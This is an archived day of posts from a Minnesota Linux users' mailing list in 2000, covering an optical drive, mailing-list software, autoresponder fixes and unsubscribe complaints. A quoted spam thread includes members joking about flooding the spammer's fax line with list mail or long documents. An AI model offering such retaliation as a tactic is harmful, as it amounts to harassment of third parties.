Fri, 8 Dec 2000, Nate Carlson wrote: > WOOHOO! Mine came. > > From natecars at real-time.com Fri Dec 8 11:32:10 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:22 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: Message-ID: On Fri, 8 Dec 2000, Austad, Jay wrote: > Woohoo! Mine too. It didn't come with a terminator though. I guess I'll > have to make a run to the computer store. Doh. > > Nice silver color though. At least it's not hospital beige like the disk > that came with it. It has termination on it.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From chrome at real-time.com Fri Dec 8 11:36:31 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:13:22 2005 Subject: [TCLUG] ATX case hardware problem (need parts) In-Reply-To: <0012081050570C.00253@Billbob_Linux>; from b.layer@vikingelectronics.com on Fri, Dec 08, 2000 at 10:50:57AM -0600 References: <0012081050570C.00253@Billbob_Linux> Message-ID: <20001208113631.J10695@real-time.com> > ... and a kat to jump on the whole mess when it's up and running! Allthough, > I still would like to make a clear case of thick lucite.. Ja ja, mit der > blinkenlighten und spinnenwerks und der udder kute krapfen :| I saw a clear acrylic case once, that someone had made for a beowulf cluster. 4 motherboards, HDDs, NICs, and vid boards in one clear case. i think they just moved the CD and floppy drive to each board as needed. looked really cool; but the acrylic was too thin, and the case warped & flexed a bit. I think it was 1/4" acrylic or so. Carl Soderstrom. -- Network Engineer Real-Time Enterprises (952) 943-8700 From mpaulsen at charter.net Fri Dec 8 11:42:12 2000 From: mpaulsen at charter.net (Mike Paulsen) Date: Mon Jan 17 13:13:22 2005 Subject: [TCLUG] Re: tclug-list digest, Vol 1 #507 - 7 msgs In-Reply-To: Message-ID: <5.0.0.25.2.20001208113823.00a0ebf0@mail.charter.net> At 10:23 AM 12/8/00 -0600, tmcardle@millerschroeder.com wrote: >I am currently out of the office. I have recieved your email and will >respond when I return. If this is an urgent matter, I recommend that you >contact someone else in MIS. Thank you! And then shortly afterwards, the millerschroder admin wrote: "Thanks for the heads-up. I have modified his rule to not respond to any message that contains 'tclug' in the subject line." From esper at sherohman.org Fri Dec 8 11:56:16 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:13:22 2005 Subject: [TCLUG] Re: tclug-list digest, Vol 1 #507 - 7 msgs In-Reply-To: <5.0.0.25.2.20001208113823.00a0ebf0@mail.charter.net>; from mpaulsen@charter.net on Fri, Dec 08, 2000 at 11:42:12AM -0600 References: <5.0.0.25.2.20001208113823.00a0ebf0@mail.charter.net> Message-ID: <20001208115616.D28060@sherohman.org> On Fri, Dec 08, 2000 at 11:42:12AM -0600, Mike Paulsen wrote: > At 10:23 AM 12/8/00 -0600, tmcardle@millerschroeder.com wrote: > >I am currently out of the office. I have recieved your email and will > >respond when I return. If this is an urgent matter, I recommend that you > >contact someone else in MIS. Thank you! > > And then shortly afterwards, the millerschroder admin wrote: > > "Thanks for the heads-up. I have modified his rule to not respond to any > message that contains 'tclug' in the subject line." Well, it's a fix, even if it's not the Right one... -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From jethro at freakzilla.com Fri Dec 8 12:01:04 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:22 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: Message-ID: Hi, On Fri, 8 Dec 2000, Austad, Jay wrote: > Woohoo! Mine too. It didn't come with a terminator though. I guess I'll > have to make a run to the computer store. Doh. What kind of term/connector does it have? PLEASE say 50-pin SCSI-2 (; -Yaron -- From Lawrence.L.Crisp-1 at tc.umn.edu Fri Dec 8 12:38:53 2000 From: Lawrence.L.Crisp-1 at tc.umn.edu (Larry Crisp) Date: Mon Jan 17 13:13:22 2005 Subject: [TCLUG] Setting up Majordomo... Message-ID: <200012081838.MAA04925@www1.software.umn.edu> I'm going to be setting up Majordomo on a Redhat 6.2 box, and hoping someone might have words of wisdom to guide my way. Anyone have tips or experiences they can pass on? Thanks, --Lawrence Crisp From natecars at real-time.com Fri Dec 8 12:40:28 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:22 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: Message-ID: On Fri, 8 Dec 2000, Yaron wrote: > > Woohoo! Mine too. It didn't come with a terminator though. I guess I'll > > have to make a run to the computer store. Doh. > > What kind of term/connector does it have? PLEASE say 50-pin SCSI-2 (; 50-pin SCSI-2. IE, the small one. :) It even includes a SCSI cable! Host: scsi1 Channel: 00 Id: 04 Lun: 00 Vendor: OLYMPUS Model: MOS364 Rev: 1.02 Type: Optical Device ANSI SCSI revision: 02 /dev/sdc1 610764 328000 251740 57% /mnt/mo ....coooool. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From tanner at real-time.com Fri Dec 8 12:43:06 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:13:22 2005 Subject: [TCLUG] Setting up Majordomo... In-Reply-To: <200012081838.MAA04925@www1.software.umn.edu>; from Lawrence.L.Crisp-1@tc.umn.edu on Fri, Dec 08, 2000 at 12:38:53PM -0600 References: <200012081838.MAA04925@www1.software.umn.edu> Message-ID: <20001208124306.B4736@real-time.com> Quoting Larry Crisp (Lawrence.L.Crisp-1@tc.umn.edu): > I'm going to be setting up Majordomo on a Redhat 6.2 box, and hoping > someone might have words of wisdom to guide my way. Anyone have tips or > experiences they can pass on? Yes, use mailman. Majorslomo is crap. -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From thouck at thouck.com Fri Dec 8 12:59:56 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:13:23 2005 Subject: [TCLUG] At Last, Herbal V, the All Natural Alternative is Available! In-Reply-To: Message-ID: Jason, Good point, but limiting address space in an e-mail message seems extreme. We need to employ the blacklist method. Host names change all the time, but IP address space rarely changes hands as often. An equivalent systems to hosts.allow and hosts.deny may work -- something procmail parses like email.allow and email.deny -- keying off the ORIGINATING SYSTEM, not the FROM: header. My procmail experience is minimal... is something like this already built in? Timothy On Thu, 7 Dec 2000 destef@theo.egoode.com wrote: > > > > Its illegal to send unsolicited email too but that doesnt stop > stupid-ass dot.com wannabies from still doing it. Im sure you've > all noticed that you cant reply to most of them since they are > bogus addresses...even though they say at the bottom to reply > and say you want to be removed. Like it matters...you tell one > company to remove you from thier mailing list and you still have > 6 billion other mailing lists floating around out there with > your name on it. > > Mail relays need to put quotas on the number of names in a list > that can be sent through them. But Im sure they're getting paid > off so that'll never happen. > > > > On Thu, 7 Dec 2000, Michael Vieths wrote: > > > Actually, it's illegal in some places to send people unsolicited faxes. > > Our favorite trick in Tech Support, though, was to fax obnoxious customers > > lots of troubleshooting documents (purely for their own benefit, of > > course)... frequently along the lines of 60-80 pages of them. So if we > > have any bored tech support folks out there with an automatic fax > > system... (come to think of it, ColorSpan has a phone number you can call, > > listed on their webpage, to request the documents be faxed to you... ;) > > > > Michael Vieths > > Foeclan@Winternet.Com > > > > On Thu, 7 Dec 2000 destef@theo.egoode.com wrote: > > > > > > > > That episode was on a couple nights ago! Hi-larious!! > > > > > > > > > On Thu, 7 Dec 2000, Timothy Houck wrote: > > > > > > > Sort of like that Seinfeld episode where Elaine has 57 messages ... 56 of > > > > which are "eeeeooooooowwweeeee"... > > > > > > > > > > > > On Wed, 6 Dec 2000, Andrew Nemchenko wrote: > > > > > > > > > You know they do give a fax number. Would it be possible to subscribe them > > > > > to the TCLUG list and then setup a fax modem to FAX instead of emailing the > > > > > postings to them??? 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State Rd. 7, #193 > > > > > > Margate, FL 33068-5727 > > > > > > > > > > > > > > > > > > ______________________________________________________ > > > > > > > > > > > > > > > > > > *CHECK BY FAX ORDERS: Complete the check as normal. Tape > > > > > > the check in the area below. Below the check, clearly write > > > > > > the check number, all numbers at the bottom of the check, > > > > > > & your name. Tape the check below and fax the check to the > > > > > > toll free FAX number above. Void the check. Our merchant > > > > > > will electronically debit your account for the amount of > > > > > > the check; your reference number for this transaction will > > > > > > be your check number. Nothing could be safer & easier ! > > > > > > > > > > > > TAPE CHECK BELOW > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > _____________________________________________________________ > > > > > > > > > > > > This is a one time mailing: Removal is automatic and no further > > > > > > contact is necessary. Please Note: Herbal V is not intended to > > > > > > diagnose, treat, cure or prevent any disease. As individuals differ, > > > > > > so will results. Herbal V helps provide herbal and nutritional support > > > > > > for male sexual performance. The FDA has not evaluated these > > > > > > statements. For details about our double your money back guarantee, > > > > > > please write to the above address, attention consumer affairs > > > > > > department; enclose a self addressed stamped envelope for this and any > > > > > > requested contact information. > > > > > > Thank You. > > > > > > _______________________________________________ > > > > > > tclug-list mailing list > > > > > > tclug-list@lists.real-time.com > > > > > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > > > > > > > > > > > > > > > > > ------ http://USFamily.Net/info - Unlimited Internet - From $7.99/mo! ------ > > > > > > > > > > _______________________________________________ > > > > > tclug-list mailing list > > > > > tclug-list@lists.real-time.com > > > > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > > > > > > > > > > --------------------------------------------------------------------- > > > > Timothy Houck > > > > thouck@thouck.com > > > > www.thouck.com > > > > > > > > _______________________________________________ > > > > tclug-list mailing list > > > > tclug-list@lists.real-time.com > > > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@lists.real-time.com > > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From andyzb at ltiflex.com Fri Dec 8 13:09:51 2000 From: andyzb at ltiflex.com (Andy Zbikowski) Date: Mon Jan 17 13:13:23 2005 Subject: [TCLUG] Procmail.... References: <01ad01c06094$fe18ac30$9c29680a@tgt.com> <3A30083F.C2549182@ltiflex.com> <20001207162443.J10474@wookimus.net> Message-ID: <3A3131FF.A30636D8@ltiflex.com> > He he. Do you have this as a default rule for people at LTi? ;-) > "Um. Andy. Can you do me a favor? Can you restore email number > '123' for me? I deleted it by accident..." whimpers the LUser. Something like that...shove it it /etc/procmailrc :) -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 From thouck at thouck.com Fri Dec 8 13:11:19 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:13:23 2005 Subject: [TCLUG] Re: tclug-list digest, Vol 1 #507 - 7 msgs In-Reply-To: Message-ID: Oh my god. On Fri, 8 Dec 2000, Tom McArdle wrote: > I am currently out of the office. I have recieved your email and will respond when I return. If this is an urgent matter, I recommend that you contact someone else in MIS. Thank you! > > ----- > Miller & Schroeder will not accept orders and/or instructions > regarding your account by email. All orders and instructions for > your Miller & Schroeder Financial account must be communicated > verbally to your account executive. Orders and transactional > instructions delivered via email, fax, voice messages, or mail are > subject to confirmation of receipt and validation of instructions. > Information transmitted via email regarding the activity or > positions in your Miller & Schroeder Financial account does not > supersede your confirmations and monthly statements. It should be > noted that confirmations and monthly statements are deemed the legal > record of the activity in your Miller & Schroeder Financial account. > > Miller & Schroeder reserves the right to delete email that does not > comply with generally accepted business practices. Additionally, we > reserve the right to monitor and review the content of all email > communications sent and/or received by employees of Miller & > Schroeder. > > The information in this email is intended only for the person or > entity to which it is addressed and may contain confidential and/or > privileged material. If you are not the intended recipient please > contact the sender. Dissemination of this material without the > permission of the sender is prohibited. > > Miller & Schroeder Financial, Inc. Member NASD/SIPC > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From dopp at acm.cs.umn.edu Fri Dec 8 13:18:56 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:13:23 2005 Subject: [TCLUG] Setting up Majordomo... In-Reply-To: <200012081838.MAA04925@www1.software.umn.edu>; from Lawrence.L.Crisp-1@tc.umn.edu on Fri, Dec 08, 2000 at 12:38:53PM -0600 References: <200012081838.MAA04925@www1.software.umn.edu> Message-ID: <20001208131856.A20984@sorry.cs.umn.edu> I really like majordomo, but it's really the only mailling list software I've ever used. It's not for everyone though. Prepare to do a lot of stuff by hand and some Perl hacking :) I was checking out the Procmail webpage today and noticed that they have a procmail-esque mailing list software called SmartList. It may be worth checking out. Gabe On Fri, Dec 08, 2000 at 12:38:53PM -0600, Larry Crisp wrote: > I'm going to be setting up Majordomo on a Redhat 6.2 box, and hoping > someone might have words of wisdom to guide my way. Anyone have tips or > experiences they can pass on? > > Thanks, > --Lawrence Crisp > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "Ooo-eeee-Ooooo, Killer Tofu!" - The Beats "Killer Tofu" -------------------------------------------------------------------------------- From tim at tneu.visi.com Fri Dec 8 07:57:21 2000 From: tim at tneu.visi.com (tim) Date: Mon Jan 17 13:13:23 2005 Subject: [TCLUG] Setting up Majordomo... In-Reply-To: <200012081838.MAA04925@www1.software.umn.edu> Message-ID: On Fri, 8 Dec 2000, Larry Crisp wrote: > I'm going to be setting up Majordomo on a Redhat 6.2 box, and hoping > someone might have words of wisdom to guide my way. Anyone have tips or > experiences they can pass on? Others may be more qualified to comment, but... I would only use majordomo as a last resort. There are many other better packages out there. -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- What the president of the Motion Picture Association of America says about taking away your constitutional rights: "I'm rather jubilant now. What Judge Kaplan did was blow away every one of these brittle and fragile rebuttals. He threw out fair use; he threw out reverse engineering; he threw out linking." - Jack Valenti, president of the Motion Picture Association of America. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ______ _ __ "If you don't have the freedom to use what you / ' ) ) own - then you do not own anything." / o ______ / / _ . . No apologies to Jack Valenti or the MPAA / <_/ / / < / (_; from tim@tneu.visi.com on Fri, Dec 08, 2000 at 07:57:21AM -0600 References: <200012081838.MAA04925@www1.software.umn.edu> Message-ID: <20001208141706.E20984@sorry.cs.umn.edu> "better" is very vague when it comes to this type of software. I find majordomo to be perfectly functional and it has all the features that it needs to effectively manage mailing lists. Personally, I don't think there is anything better as far as functionality goes. Gabe On Fri, Dec 08, 2000 at 07:57:21AM -0600, tim wrote: > On Fri, 8 Dec 2000, Larry Crisp wrote: > > > I'm going to be setting up Majordomo on a Redhat 6.2 box, and hoping > > someone might have words of wisdom to guide my way. Anyone have tips or > > experiences they can pass on? > > Others may be more qualified to comment, but... > > I would only use majordomo as a last resort. There are many other better > packages out there. -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "Ooo-eeee-Ooooo, Killer Tofu!" - The Beats "Killer Tofu" -------------------------------------------------------------------------------- From dopp at acm.cs.umn.edu Fri Dec 8 14:22:28 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:13:23 2005 Subject: [TCLUG] SMP Message-ID: <20001208142228.F20984@sorry.cs.umn.edu> I just saw this when I ran dmesg: mtrr: your CPUs had inconsistent variable MTRR settings mtrr: probably your BIOS does not setup all CPUs I'm running stock RH6.2 with the 2.2.14-SMP precompiled kernel. I've got a MSI 694D Pro-AR mobo and dual PIII/800's. Anyone seen this message before? I didn't see anything in my BIOS relating to MTRR. Gabe -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "Ooo-eeee-Ooooo, Killer Tofu!" - The Beats "Killer Tofu" -------------------------------------------------------------------------------- From patrickm at eltecinc.com Fri Dec 8 14:25:55 2000 From: patrickm at eltecinc.com (patrickm) Date: Mon Jan 17 13:13:23 2005 Subject: [TCLUG] Re: tclug-list digest, Vol 1 #507 - 7 msgs References: <5.0.0.25.2.20001208113823.00a0ebf0@mail.charter.net> <20001208115616.D28060@sherohman.org> Message-ID: <003a01c06155$119efb40$5cc8a8c0@eltecinc.com> > Well, it's a fix, even if it's not the Right one... And the Right one would be... ? ----- Original Message ----- From: Dave Sherohman To: Sent: Friday, December 08, 2000 11:56 AM Subject: Re: [TCLUG] Re: tclug-list digest, Vol 1 #507 - 7 msgs > On Fri, Dec 08, 2000 at 11:42:12AM -0600, Mike Paulsen wrote: > > At 10:23 AM 12/8/00 -0600, tmcardle@millerschroeder.com wrote: > > >I am currently out of the office. I have recieved your email and will > > >respond when I return. If this is an urgent matter, I recommend that you > > >contact someone else in MIS. Thank you! > > > > And then shortly afterwards, the millerschroder admin wrote: > > > > "Thanks for the heads-up. I have modified his rule to not respond to any > > message that contains 'tclug' in the subject line." > > Well, it's a fix, even if it's not the Right one... > > -- > "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist > "So does syphillis. Good thing we have penicillin." - Matthew Alton > Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ > !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From lerwick at tcfreenet.org Fri Dec 8 14:37:52 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:13:23 2005 Subject: [TCLUG] SMP References: <20001208142228.F20984@sorry.cs.umn.edu> Message-ID: <3A3146A0.6298B11A@tcfreenet.org> dopp@acm.cs.umn.edu wrote: > > I just saw this when I ran dmesg: > > mtrr: your CPUs had inconsistent variable MTRR settings > mtrr: probably your BIOS does not setup all CPUs > > I'm running stock RH6.2 with the 2.2.14-SMP precompiled kernel. I've got a > MSI 694D Pro-AR mobo and dual PIII/800's. Anyone seen this message before? > I didn't see anything in my BIOS relating to MTRR. Its just a FYI... From austad at marketwatch.com Fri Dec 8 14:27:50 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:23 2005 Subject: [TCLUG] Setting up Majordomo... Message-ID: > needs to effectively manage mailing lists. Personally, I > don't think there > is anything better as far as functionality goes. Then you need to try ezmlm with the idx patch. There are rpms for Redhat. It's both fast, and highly configurable. I used to run Majordomo, but ezmlm-idx is far superior. It requires qmail also though, so you'll need to install that too. Jay > -----Original Message----- > From: dopp@acm.cs.umn.edu [mailto:dopp@acm.cs.umn.edu] > Sent: Friday, December 08, 2000 2:17 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Setting up Majordomo... > > > "better" is very vague when it comes to this type of software. I find > majordomo to be perfectly functional and it has all the > features that it > needs to effectively manage mailing lists. Personally, I > don't think there > is anything better as far as functionality goes. > > Gabe > > On Fri, Dec 08, 2000 at 07:57:21AM -0600, tim wrote: > > On Fri, 8 Dec 2000, Larry Crisp wrote: > > > > > I'm going to be setting up Majordomo on a Redhat 6.2 box, > and hoping > > > someone might have words of wisdom to guide my way. > Anyone have tips or > > > experiences they can pass on? > > > > Others may be more qualified to comment, but... > > > > I would only use majordomo as a last resort. There are > many other better > > packages out there. > -- > -------------------------------------------------------------- > ------------------ > Gabe Turner | X-President, > UNIX Systems Administrator, | Assoc. for > Computing Machinery > U of M Supercomputing Institute for | University > of Minnesohta > Digital Simulation and Advanced Computation | > dopp@acm.cs.umn.edu > > "Ooo-eeee-Ooooo, Killer Tofu!" - The Beats "Killer Tofu" > -------------------------------------------------------------- > ------------------ > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From esper at sherohman.org Fri Dec 8 14:32:10 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:13:23 2005 Subject: [TCLUG] Re: tclug-list digest, Vol 1 #507 - 7 msgs In-Reply-To: <003a01c06155$119efb40$5cc8a8c0@eltecinc.com>; from patrickm@eltecinc.com on Fri, Dec 08, 2000 at 02:25:55PM -0600 References: <5.0.0.25.2.20001208113823.00a0ebf0@mail.charter.net> <20001208115616.D28060@sherohman.org> <003a01c06155$119efb40$5cc8a8c0@eltecinc.com> Message-ID: <20001208143210.L28060@sherohman.org> On Fri, Dec 08, 2000 at 02:25:55PM -0600, patrickm wrote: > > Well, it's a fix, even if it's not the Right one... > > And the Right one would be... ? One that would prevent the autoresponder from replying to _any_ (properly- configured) list. Say, perhaps, by checking for the presence of any List-* headers and/or 'Precedence: bulk'. Basing the (non-)response on the presence of 'tclug' in the Subject: header will still allow autoresponses to any other lists the user may be subscribed to. It will also block responses to personal messages with a subject of, e.g., "Are you going to the next TCLUG meeting?" -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From austad at marketwatch.com Fri Dec 8 15:43:50 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:23 2005 Subject: [TCLUG] Verbatim MO Drive Message-ID: Disks for the MO drive are WAY cheaper on buy.com: http://www.us.buy.com/retail/product.asp?sku=10236363&loc=101 $11.27 versus like $30. > -----Original Message----- > From: Nate Carlson [mailto:natecars@real-time.com] > Sent: Friday, December 08, 2000 12:40 PM > To: 'tclug-list@lists.real-time.com' > Subject: RE: [TCLUG] Verbatim MO Drive > > > On Fri, 8 Dec 2000, Yaron wrote: > > > Woohoo! Mine too. It didn't come with a terminator > though. I guess I'll > > > have to make a run to the computer store. Doh. > > > > What kind of term/connector does it have? PLEASE say 50-pin > SCSI-2 (; > > 50-pin SCSI-2. IE, the small one. :) > > It even includes a SCSI cable! > > Host: scsi1 Channel: 00 Id: 04 Lun: 00 > Vendor: OLYMPUS Model: MOS364 Rev: 1.02 > Type: Optical Device ANSI SCSI revision: 02 > > /dev/sdc1 610764 328000 251740 57% /mnt/mo > > ....coooool. > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From barry at pinenet.com Fri Dec 8 19:03:18 2000 From: barry at pinenet.com (Barry T. White) Date: Mon Jan 17 13:13:23 2005 Subject: [TCLUG] UNSUBCRIBE "mtsqph@yahoo.com" PLEASE References: <20001208162009.23140.qmail@web10304.mail.yahoo.com> <3A310E38.41BCF609@ltiflex.com> Message-ID: <007501c0617b$d2116180$01f7a8c0@monster> Sure is nice to meet someone who KNOWS EVERYTHING! The links to unsubscribe don't work. Maybe some of you brainiac's should figure out why instead of laughing at the poor idiots and feeling superior! ----- Original Message ----- From: "Andy Zbikowski" To: Sent: Friday, December 08, 2000 10:37 AM Subject: Re: [TCLUG] UNSUBCRIBE "mtsqph@yahoo.com" PLEASE > Let me see...ah, here's a brick wall... > > *bonk* *bonk* *bonk* *bonk* *bonk* > > Maybe just maybe you should read the very bottom of list messages, it's on > every mesage: > https://mailman.real-time.com/mailman/listinfo/tclug-list > > Or, like any standard mailing list, tclug-request@lists.real-time.com w/ a > subject of unsubscripe usually does the trick (or spits you an informative > error message) > > In the case of mail man, you put > unsubscribe user@host.tld password > > I'll go back to beating my head agnist a brick wall now. > > *bonk* *bonk* *bonk* > I think... > *bonk* *bonk* > I'm going... > *bonk* *bonk* *bonk* > to loose.... > *bonk* *bonk* *bonk* *bonk* > conscienceness... > *bonk* *bonk* *bonk* *bonk* *bonk* > now... > > -- > Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com > LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 > 21801 Industrial Blvd | (FX) 763-428-9126 > Rogers, MN 55374 | (PCS) 612-306-6055 > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From dopp at acm.cs.umn.edu Fri Dec 8 19:39:42 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:13:23 2005 Subject: [TCLUG] UNSUBCRIBE "mtsqph@yahoo.com" PLEASE In-Reply-To: <007501c0617b$d2116180$01f7a8c0@monster>; from barry@pinenet.com on Fri, Dec 08, 2000 at 07:03:18PM -0600 References: <20001208162009.23140.qmail@web10304.mail.yahoo.com> <3A310E38.41BCF609@ltiflex.com> <007501c0617b$d2116180$01f7a8c0@monster> Message-ID: <20001208193942.B24212@sorry.cs.umn.edu> Granted, I think Andy's head has been a bit large as of late, but I just succesfully unsubscribed myself from the list. Whomever it was that was having problems, did you enter the correct password? Were you using a browser that supports SSL? Did you enter your correct email address? Did you get any error messages when you tried to unsubscribed? Did you try emailing the address that Andy mentioned with an unsubscribe request? Simply telling us that it doesn't work really isn't telling us much. At least trying to be helpful, Gabe On Fri, Dec 08, 2000 at 07:03:18PM -0600, Barry T. White wrote: > Sure is nice to meet someone who KNOWS EVERYTHING! > > The links to unsubscribe don't work. Maybe some of you brainiac's should > figure out why instead of laughing at the poor idiots and feeling superior! > -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "Hey archvillian!! Take a taste of my hypercorrosive croutons!!" - Powdered Toast Man in "Powdered Toast Man" -------------------------------------------------------------------------------- From andyzib at ringworld.org Fri Dec 8 20:24:34 2000 From: andyzib at ringworld.org (Andrew S. Zbikowski) Date: Mon Jan 17 13:13:23 2005 Subject: [TCLUG] UNSUBCRIBE "mtsqph@yahoo.com" PLEASE References: <20001208162009.23140.qmail@web10304.mail.yahoo.com> <3A310E38.41BCF609@ltiflex.com> <007501c0617b$d2116180$01f7a8c0@monster> <20001208193942.B24212@sorry.cs.umn.edu> Message-ID: <3A3197E1.DCC86C8F@ringworld.org> IF I had know the unsubscribe stuff wasn't working I WOULD have been a bit more constructive. And Yeah, sorry for the inflated head thing. Every mailing list has been "It doesn't work, and I didn't read the documentation, help me!" My mood has been sour all week, and damnit...well, I dunno but there's still more stuff that's getting on my serrated nerves this week. Anyway, I'm sorry. I've ranted. I feel much better now. :) -- | Andrew S. Zbikowski | Home: 763.591.0977 | | http://www.ringworld.org | Work: 763.428.9119 | | http://www.itouthouse.com | PCS: 612.306.6055 | | "If there's anything more important than my | | ego around, I want it caught and shot now." | From andyzib at ringworld.org Fri Dec 8 20:26:38 2000 From: andyzib at ringworld.org (Andrew S. Zbikowski) Date: Mon Jan 17 13:13:23 2005 Subject: [TCLUG] UNSUBCRIBE "mtsqph@yahoo.com" PLEASE References: <20001208162009.23140.qmail@web10304.mail.yahoo.com> <3A310E38.41BCF609@ltiflex.com> <007501c0617b$d2116180$01f7a8c0@monster> <20001208193942.B24212@sorry.cs.umn.edu> <3A3197E1.DCC86C8F@ringworld.org> Message-ID: <3A31985E.C36AB857@ringworld.org> > > Anyway, I'm sorry. I've ranted. I feel much better now. :) > Oh yeah, forgot. Ben, you're an idiot. NOW I fell much better. (Sorry and thanks Ben, I've got a smile ear to ear now) -- | Andrew S. Zbikowski | Home: 763.591.0977 | | http://www.ringworld.org | Work: 763.428.9119 | | http://www.itouthouse.com | PCS: 612.306.6055 | | "If there's anything more important than my | | ego around, I want it caught and shot now." | From fjorn at mninter.net Sat Dec 9 10:31:22 2000 From: fjorn at mninter.net (fjorn) Date: Mon Jan 17 13:13:23 2005 Subject: [TCLUG] Network setup question Message-ID: <3A325E5A.57F9BE62@mninter.net> Okay, I'm getting ready to build my network at home but have some questions that I haven't been able to really come up with good answers to. Some help and thoughts on this would really be appreciated. General layout: I'll have 4 machines on my network at home, along with a Jet Direct box (#170X) to a BJC-4100 printer. Two machines will be dual boot Windows98SE/SuSE 7.0, server will be pure Linux (thinking Debian) as it's a very low end Pentium with small hard drive space, laptop is Linux only currently running Mandrake 7.1. I'm not available for DSL or cable modem, so internet connection is through dial-up modem. My primary concern is on the server. My plans for it are the following: DNS/DHCP, samba, printing control, autodialing modem for requests to WWW or mail from ISP, firewall (very basic), and internal file server. Is this too much to ask of this one server and will being the DNS/DHCP server 